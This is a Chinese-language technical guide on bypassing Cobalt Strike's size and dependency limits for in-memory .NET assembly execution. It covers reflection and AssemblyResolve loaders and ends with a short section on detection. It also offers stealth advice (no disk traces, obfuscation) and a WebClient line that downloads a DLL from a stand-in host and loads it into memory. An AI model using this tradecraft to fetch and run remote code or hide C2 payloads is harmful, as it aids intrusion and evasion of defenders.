绕过Cobalt Strike在使用.NET程序集时的大小限制技术指南

1. 背景与问题描述

Cobalt Strike是一款广泛使用的命令和控制软件，它能够通过生成新进程并将CLR(.NET解释器)引导到该进程上来实现在内存中执行.NET程序集。然而，这一功能存在两个主要限制：

1. 依赖项限制：只能执行自包含的程序集，无法自动处理外部依赖项
2. 大小限制：程序集大小超过1MB时无法在内存中执行

2. 解决方案概述

2.1 传统方法及其局限性

1. 使用ILMerge/Fody等链接器：

   • 将依赖项嵌入主程序集
   • 缺点：导致程序集体积增大，可能超过1MB限制

2. 运行时加载依赖项：

   • 使用反射技术
   • 使用AppDomain.AssemblyResolve方法
   • 可保持主程序集体积小巧

3. .NET依赖项加载机制

3.1 标准加载流程

1. 首先检查GAC(全局Assembly缓存，位于%WinDir%)
2. 若GAC中未找到，则在程序集所在目录查找
3. 若仍未找到，则抛出异常

3.2 攻击场景限制

• GAC通常不可写(需提权)
• 依赖项必须与主程序集一起部署

4. 反射技术实现方案

4.1 反射技术核心步骤

1. 使用Load方法加载目标程序集
2. 使用GetType获取目标类
3. 使用GetMethod获取目标方法
4. 使用CreateInstance激活类实例
5. 使用Invoke调用目标方法

4.2 PowerShell示例

$bytes = [System.IO.File]::ReadAllBytes("C:\path\to\assembly.dll")
$asm = [System.Reflection.Assembly]::Load($bytes)
$params = {null}
[Namespace.ClassName]::MethodName($params)

4.3 反射技术的优缺点

优点：

• 可动态加载程序集
• 适用于受限环境(如仅允许PowerShell执行)

缺点：

1. 需要重构代码以支持MethodBase.Invoke
2. 所有方法必须为public
3. 复杂操作可能引发问题

5. AppDomain.AssemblyResolve方案

5.1 实现原理

• 注册AssemblyResolve事件回调
• 当程序域找不到引用程序集时触发
• 可在回调中提供自定义加载逻辑

5.2 关键实现要点

1. 静态构造函数技巧：

   static class Resolver {
       static Resolver() {
           AppDomain.CurrentDomain.AssemblyResolve += ResolveAssembly;
       }
   
       private static Assembly ResolveAssembly(object sender, ResolveEventArgs args) {
           // 自定义加载逻辑
       }
   }
   

2. 分离依赖逻辑：

   • 将依赖项使用逻辑放在单独方法中
   • 从Main方法调用该方法

5.3 示例实现

using System;
using System.Reflection;

namespace Demo {
    public class Program {
        static Program() {
            AppDomain.CurrentDomain.AssemblyResolve += ResolveAssembly;
        }
        
        private static Assembly ResolveAssembly(object sender, ResolveEventArgs args) {
            // 从自定义位置加载依赖项
            return Assembly.LoadFrom("C:\\deps\\" + args.Name + ".dll");
        }
        
        private static void RunWithDependencies() {
            // 使用依赖项的逻辑
            DependencyClass.Method();
        }
        
        public static void Main(string[] args) {
            RunWithDependencies();
        }
    }
}

6. 技术选择建议

7. 实际应用注意事项

1. 依赖项部署：

   • 确保依赖项可被解析逻辑找到
   • 考虑从网络位置动态加载

2. 错误处理：

   • 为解析逻辑添加健壮的错误处理
   • 考虑依赖项版本兼容性问题

3. 隐蔽性：

   • 避免在磁盘留下痕迹
   • 考虑内存中加载依赖项

4. 大小优化：

   • 即使使用此技术，仍需保持主程序集精简
   • 考虑代码混淆和压缩

8. 高级技巧扩展

1. 混合使用反射和AppDomain：

   • 对核心功能使用AppDomain
   • 对可选功能使用反射延迟加载

2. 远程加载依赖项：

   WebClient client = new WebClient();
   byte[] assemblyBytes = client.DownloadData("http://example.com/dep.dll");
   Assembly assembly = Assembly.Load(assemblyBytes);
   

3. 内存中执行：

   • 完全避免磁盘操作
   • 使用Assembly.Load(byte[])而非LoadFrom

9. 防御检测建议

1. 监控异常程序集加载：

   • 检测非标准位置的程序集加载
   • 监控AssemblyResolve事件注册

2. 行为分析：

   • 识别反射的异常使用模式
   • 检测动态方法调用

3. 内存检测：

   • 扫描内存中的非标准.NET程序集
   • 监控CLR加载行为

10. 总结

通过反射技术和AppDomain.AssemblyResolve方法，我们可以有效绕过Cobalt Strike对.NET程序集的依赖项和大小限制。关键在于理解.NET程序集加载机制，并设计合理的依赖项延迟加载策略。在实际应用中，应根据具体场景选择最适合的技术方案，并注意保持操作的隐蔽性和可靠性。